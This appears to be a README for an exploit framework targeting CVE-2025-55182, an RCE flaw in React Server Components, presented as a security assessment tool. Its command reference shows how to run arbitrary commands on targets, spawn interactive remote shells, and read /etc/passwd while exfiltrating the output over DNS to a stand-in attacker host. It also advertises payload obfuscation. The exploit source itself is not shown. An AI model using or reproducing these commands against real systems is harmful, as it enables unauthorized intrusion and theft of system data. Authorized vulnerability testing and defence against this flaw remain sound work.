📋 Overview

ReactRCE-Scanner is an enterprise-grade security assessment and verification framework designed specifically for CVE-2025-55182 [1], a critical Remote Code Execution (RCE) vulnerability affecting React Server Components across versions 19.0.0 through 19.2.0.

The framework bridges the gap between theoretical vulnerability research and practical security validation. By incorporating multi-stage fingerprinting, rigorous false-positive reduction, advanced payload obfuscation, and automated multi-format reporting, it provides security engineers with precise diagnostic capabilities.

🚀 Quick Start Guide

Installation

Clone the repository and initialize the environment utilizing the automated setup script or manual dependency installation:

# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit

# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh

# Alternatively, install core Python dependencies manually
pip install -r requirements.txt

Basic Command Reference

The framework operates via a modular CLI architecture supporting single-target validation, bulk scanning from file lists, interactive shell spawning, and compliance reporting.

# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan

# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json

# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"

# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell

# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com

# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf

🔬 Architecture & Feature Deep Dive

1. Smart Fingerprinting Engine

The framework performs deep reconnaissance prior to payload delivery. It analyzes multiple HTTP header fields (X-Powered-By, Next-Action, RSC ), HTML structural meta tags (data-reactroot, __NEXT_DATA__), static build assets, and JavaScript source bundles [2] [3].

Confidence scores are categorized into four tiers:

• CRITICAL (95%+): Multiple orthogonal indicators confirm vulnerable React Server Component runtime versions.

• HIGH (75–95%): Strong structural indicators identified with exact version matching.

• MEDIUM (50–75%): Partial framework markers present; manual verification required.

• LOW (<50%): Weak heuristics detected; high probability of false positive.

2. Multi-Stage Verification Workflow

To maintain operational integrity and prevent unintended service disruptions, payloads pass through a strict validation pipeline before any exploitation phase is unlocked.
